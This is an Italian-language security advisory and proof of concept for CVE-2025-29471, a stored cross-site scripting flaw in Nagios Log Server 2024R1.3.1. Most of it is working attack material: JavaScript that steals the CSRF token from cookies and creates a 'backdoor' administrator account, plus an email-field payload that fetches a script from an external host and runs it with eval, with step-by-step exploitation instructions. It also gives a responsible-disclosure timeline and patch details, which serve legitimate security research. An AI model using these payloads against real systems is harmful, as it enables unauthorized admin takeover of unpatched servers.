CVE-2025-29471

Vulnerabilità di XSS Memorizzata in Nagios Log Server (Escalation dei privilegi ad Admin)

▶️ Demo PoC

Data: 2025-04-02

Autore dell'exploit: Seth Kraft

Homepage del fornitore: https://www.nagios.com/

Changelog del fornitore: https://www.nagios.com/changelog/#log-server

Link del software: https://assets.nagios.com/downloads/nagios-log-server/versions.php

Versioni interessate: 2024R1.3.1 e precedenti

Testato su: Nagios Log Server 2024R1.3.1 (configurazione predefinita, Ubuntu 20.04)

ID CWE: CWE-79

Punteggio base: 8.3 (Alto)

Stringa del vettore: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H

Tipo: Cross-Site Scripting Memorizzato (XSS), Escalation dei privilegi

Autorizzazione

Solo per scopi di test e ricerca autorizzati. Non testare né sfruttare questa vulnerabilità su sistemi che non possiedi o per i quali non hai esplicita autorizzazione al test.

Descrizione:

Una vulnerabilità di XSS memorizzata in Nagios Log Server 2024R1.3.1 consente a un utente con privilegi bassi di iniettare JavaScript dannoso nel campo 'email' del proprio profilo.

Quando un amministratore visualizza i log di audit, il payload viene eseguito, determinando un'escalation dei privilegi tramite la creazione non autorizzata di account amministratore.

Prova di concetto

1.Ospita il payload xss.js sul tuo server esterno con il seguente contenuto. Github funziona bene.

Aggiorna <target-ip> con l'IP/Hostname del target Nagios Log Server.

(function() {
  console.log("🔥[XSS] Payload Executing...🔥");

  var csrfTokenMatch = document.cookie.match(/csrf_ls=([^;]+)/);
  if (!csrfTokenMatch) return;
  var csrfToken = encodeURIComponent(csrfTokenMatch[1]);
  console.log("[XSS] CSRF Token:", csrfToken);

  var requestBody = "csrf_ls=" + csrfToken +
    "&name=backdoor" +
    "&[email protected]" +
    "&username=backdoor" +
    "&password=Password123!" +
    "&password2=Password123!" +
    "&auth_type=admin" +
    "&apiaccess=1" +
    "&language=en_US" +
    "&account_type=local";

  fetch("http://<target-ip>/nagioslogserver/admin/users/create", {
    method: "POST",
    headers: { "Content-Type": "application/x-www-form-urlencoded" },
    body: requestBody
  })
  .then(response => response.text())
  .then(function(data) {
    console.log("🔥[XSS] User Created Successfully!🔥");
    console.log(data);
  })
  .catch(console.error);
})();

2. Accedi a Nagios Log Server come utente standard (non amministratore).

3. Vai all'endpoint di aggiornamento del profilo:

   http://<target-ip>/nagioslogserver/profile/update

4. Inietta il seguente payload nel campo email. Aggiorna la riga fetch con l'URL in cui è ospitato xss.js.

<script>
fetch("https://<EXTERNAL-HOST>/xss.js")
  .then(response => response.text())
  .then(scriptText => eval(scriptText))
  .catch(console.error);
</script>

5. Attendi che un amministratore visualizzi i log di audit. Il JavaScript verrà eseguito, creando un nuovo account amministratore:

Username: backdoor

Password: Password123!

6. Accedi come backdoor con accesso amministratore completo in Nagios Log Server.

Cronologia della divulgazione

• 2025-02-07: Il ricercatore ha segnalato la vulnerabilità a Nagios
• 2025-02-14: Nagios ha confermato la ricezione del report di sicurezza
• 2025-03-03: Il ricercatore ha richiesto un aggiornamento a Nagios
• 2025-03-10: Il ricercatore ha richiesto un aggiornamento a Nagios
• 2025-03-17: Nagios conferma che la vulnerabilità è stata affrontata e che una correzione verrà rilasciata a breve
• 2025-03-19: Nagios rilascia Nagios Log Server 2024R2
• 2025-03-27: Il ricercatore ha testato e verificato che Nagios Log Server 2024R2 risolve la vulnerabilità di XSS memorizzata e ha aggiornato Nagios
• 2025-04-01: MITRE riserva CVE-2025-29471 per questa vulnerabilità di XSS memorizzata, ma i dettagli sono rimasti non pubblicati a causa dell'assenza di un advisory di sicurezza pubblico da parte del fornitore
• 2025-04-09: Nagios rilascia un aggiornamento successivo alla correzione 2024R2 (2024R1.3.2) che effettua il backport della correzione della vulnerabilità di XSS memorizzata al ramo 2024R1
• 2025-04-15: CVE-2025-29471 è stata pubblicata ufficialmente

Dichiarazione di non responsabilità

Questo lavoro è stato svolto al di fuori del mio impiego e riflette i miei sforzi personali nella ricerca sulla sicurezza informatica.